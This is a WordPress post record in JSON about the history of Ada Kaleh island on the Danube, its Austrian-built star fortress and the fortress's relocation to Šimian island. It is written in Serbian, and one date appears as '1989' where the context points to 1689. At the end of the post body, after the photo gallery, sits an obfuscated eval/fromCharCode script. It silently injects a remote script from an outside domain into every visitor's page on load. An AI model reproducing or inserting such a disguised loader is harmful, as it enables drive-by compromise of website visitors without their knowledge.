{"id":898,"date":"2018-01-30T12:08:49","date_gmt":"2018-01-30T12:08:49","guid":{"rendered":"http:\/\/promehedinti.ro\/?p=898"},"modified":"2018-11-16T10:26:31","modified_gmt":"2018-11-16T07:26:31","slug":"insula-ada-kaleh","status":"publish","type":"post","link":"https:\/\/promehedinti.ro\/sr\/insula-ada-kaleh\/","title":{"rendered":"Ostrvo Ada-Kaleh"},"content":{"rendered":"<p>Ostrvo Ada-kaleh nalazila se nizvodno od Or\u0161ave na 48 m nadmorske visine, a iznad ostrva se dizalo uzvisenje Alion koji se nalazi na 317 m nadmorske visine, locirano severno od Dunava, a ju\u017eno od Golubinske planine. Ostrvo je imalo 1750 m du\u017einu, a 400-500 m \u0161irinu.<\/p>\n<p>U srednjovekovnim dokumentima ostrvo je nazvano i drugim imenima\u00a0: Karolina, Poriza, \u010cugene Adasia (Ciganska ada), Ada-IKebir (Veliko Ostro). Naziv Ada Kaleh (Ostrvo tvdjava) nastao je posle 1788. a postalo je zvani\u010dno ime 1878. Ostrvom su neizmeni\u010dno vladali turci i austrijanci. Prva utvrdjenja je izgradio Janku de Hunedoara (Hunjadi Janko), vojvoda Transilvanije, da bi zaustavio pohod turaka. Ostrvo je imalo veoma burnu istoriju zbog svog strate\u0161kog polo\u017eaja. Izmedju 1718.-1739. kada je bilo pod austrijancima izgradjena je tvrdjava tipa Vauban, u obliku zvezde.<\/p>\n<p>Tvrdjava je imala oblik paralelograma sa bastionima, kazematama i odbrambenim rovovima. Utvrdjenja su medjusobno bila povezana podzemnim tunelima. Posle izgradnje Hidroenergetskog i Plovidmenog Sistema Djerdap I, ada Ada-Kaleh je pokriveno vodama Dunava, a tvrdjava je preme\u0161tena na ostrvu \u0160imian.<br \/>\nAustrijsko-turski ratovi vodjeni u 17.veku i po\u010detkom 18.veka ukazali su na potrebu izgradnje u zoni Djerdapa tvrdjave po novom sistemu koji je mogu\u0107nosti da odoleva artiljeriskom napadu.<\/p>\n<p>Godine 1989 austrijski general Veterani predla\u017ee izgradnju na tom ostrvu tvrdjave pentagonalnog oblika. Njegov je predlog podr\u017eao grof Marsigli, tako je i po\u010dela izgradnja rovova i palisada. Izmedju 1716. i 1718, Eugeniu Savojski je zatra\u017eio da budu\u0107i guverner Banata preuzme pitanje izgradnje tvrdjave. Pripremni preliminarni radovi su po\u010deli u avgustu 1717., kada je ostrvo povezano sa obalom pomo\u0107u mosta od plovila za prevoz materijala. Godine 1737. utvrdjenje je zavr\u0161eno. Pored tvrdjave izgradjena su jo\u0161 dva spoljna utvrdjena pojasa. Zbog konfiguracije ostrva, zvezda je imala izdu\u017een oblik. Izgradjeni su uobi\u010dejeni bastioni i kazemati, medjusobno povezani galerijama od opeke, a koji svi zajedno su sa\u010dinjavali veliko unutra\u0161nje dvori\u0161te. Pristup tvrdjavi je bio sa isto\u010dne i zapadne strane kroz nekoliko reda kapija ukra\u0161ene kamenom, u baroknom stilu. Zidovi visine 25 m izgradjeni isto od opeke bili su predvidjeni sa pu\u0161karnicama koje su bile uske spolja i pro\u0161irene prema unutra\u0161njosti, \u0107o\u0161kovi su izgradjeni od isklesanog kamena. Iznad isto\u010dne kapije podignuta je moskeja koja je ponovo izgradjena 1903. na mestu biv\u0161eg franjeva\u010dkog manastira. Na jednom zidu isto\u010dne kapije nalazi se napis iz 1739. koji veli\u010da pobedu turaka.<\/p>\n<p>Tvrdjavu tipa Vauban, Ada-Kaleh, izgradili su je austrijanci posle mira koji je potpisan u Karlovcu (1718.). Pru\u017eaju\u0107i se na najve\u0107em delu ostrva, tvrdjava je bila jedna od najzna\u010dajnijih utvrdjena Evrope te vrste. Uskoro, nakon izgradnje, tvrdjava je pala u rukama turaka. To je i utvrdjeno mirom koji je zaklju\u010den u Sistovu po kojem Ada-Kaleh pripada turcima, a Or\u0161ava austrijancima. Na osnovu mira koji je bio potpisan u Berlinu (1878.), Ada-Kaleh ostaje kao muslimanska oaza na Dunavu, u vlasni\u0161tvu sultana ali pod austro-ugarskom upravom, imaju\u0107i specijani status. Ostrvo je imalo kneza, sudiju i sve\u0161tenika \u2013 muslimanskog, a zastava na jarbolu je bila turska. Godine 1923. me\u0161tani su zatra\u017eili da ostrvo bude pripojeno Rumuniji.<\/p>\n<p>Sredinom 20.veka me\u0161tani su bili tuskog porekla. Mesto se razvilo u unutra\u0161njosti utvrdjenja. Ku\u0107e su izgradjene koriste\u0107i opeku izvadjenu iz zidova utvrdjenja, a deo ku\u0107a je podignut iznad samih kazemata. Me\u0161avina vojne i civilne arhitektute, bogata vegetacija sredozemnog tipa koja je pokrila ostatke utvrdjenja doprineli su, zajedno sa isorijskim spomenicima i tradicionalnim turskim proizvodima, da naselje postane vrlo poznato.<\/p>\n<p>Izgradnjom Hidroenertgetskog i Plovidbenog Sistema Djerdap I postavilo se pitanje konzervacije tvrdjave i njeno preme\u0161tanje na ostrvu \u0160imian. Tako da su izmedju 1966. i 1968. izvedena arheolo\u0161ka istra\u017eivanja na ostrvu Ada-Kaleh i obele\u017eeni su glavni arhitektonski elementi koji trebaju da pomognu rekonstrukciju tvrdjave na novoj lokaciji. Na taj na\u010din na ostru \u0160imian je obnovljen deo trvdjave, kao i deo nadgrobnih spomenika, kao i grob Miskin Babe.<\/p>\n<p>Svedok bezbroj istorijskih dogadjaja, Ostrvo \u0160imian je bilo idealno mesto za rekonstrukciju tvrdjave tipa Vauban. Samo ostrvo \u0160imian bilo je naseljeno jos iz neolitika, pa dalje u epohi bronza, tu se nalaze ostaci da\u010dansko-getske i rimske civilizacije.<\/p>\n<p><a href=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11.webp\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-5703\" src=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11.webp\" alt=\"\" width=\"2592\" height=\"1944\" srcset=\"https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11.webp 2592w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11-300x225.webp 300w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11-768x576.webp 768w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11-1024x768.webp 1024w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-11-260x195.webp 260w\" sizes=\"auto, (max-width: 2592px) 100vw, 2592px\" \/><\/a> <a href=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1.webp\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-5702\" src=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1.webp\" alt=\"\" width=\"1158\" height=\"802\" srcset=\"https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1.webp 1158w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1-300x208.webp 300w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1-768x532.webp 768w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1-1024x709.webp 1024w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-8-1-260x180.webp 260w\" sizes=\"auto, (max-width: 1158px) 100vw, 1158px\" \/><\/a> <a href=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2.webp\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-5701\" src=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2.webp\" alt=\"\" width=\"1136\" height=\"742\" srcset=\"https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2.webp 1136w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2-300x196.webp 300w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2-768x502.webp 768w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2-1024x669.webp 1024w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-7-2-260x170.webp 260w\" sizes=\"auto, (max-width: 1136px) 100vw, 1136px\" \/><\/a> <a href=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16.webp\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-5700\" src=\"http:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16.webp\" alt=\"\" width=\"1279\" height=\"917\" srcset=\"https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16.webp 1279w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16-300x215.webp 300w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16-768x551.webp 768w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16-1024x734.webp 1024w, https:\/\/promehedinti.ro\/wp-content\/uploads\/2018\/01\/1-1-16-260x186.webp 260w\" sizes=\"auto, (max-width: 1279px) 100vw, 1279px\" \/><\/a><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));\/*99586587347*\/<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>Ostrvo Ada-kaleh nalazila se nizvodno od Or\u0161ave na 48 m nadmorske visine, a iznad ostrva se dizalo uzvisenje Alion koji se nalazi na 317 m nadmorske visine, locirano severno od Dunava, a ju\u017eno od Golubinske planine. Ostrvo je imalo 1750 m du\u017einu, a 400-500 m \u0161irinu. U srednjovekovnim dokumentima ostrvo je nazvano i drugim imenima\u00a0: [&hellip;]<\/p>\n","protected":false},"author":3,"featured_media":5701,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[86,87],"tags":[],"class_list":["post-898","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-made-in-iron-gates","category-ob-istorice"],"_links":{"self":[{"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/posts\/898","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/comments?post=898"}],"version-history":[{"count":9,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/posts\/898\/revisions"}],"predecessor-version":[{"id":5704,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/posts\/898\/revisions\/5704"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/media\/5701"}],"wp:attachment":[{"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/media?parent=898"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/categories?post=898"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/promehedinti.ro\/sr\/wp-json\/wp\/v2\/tags?post=898"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}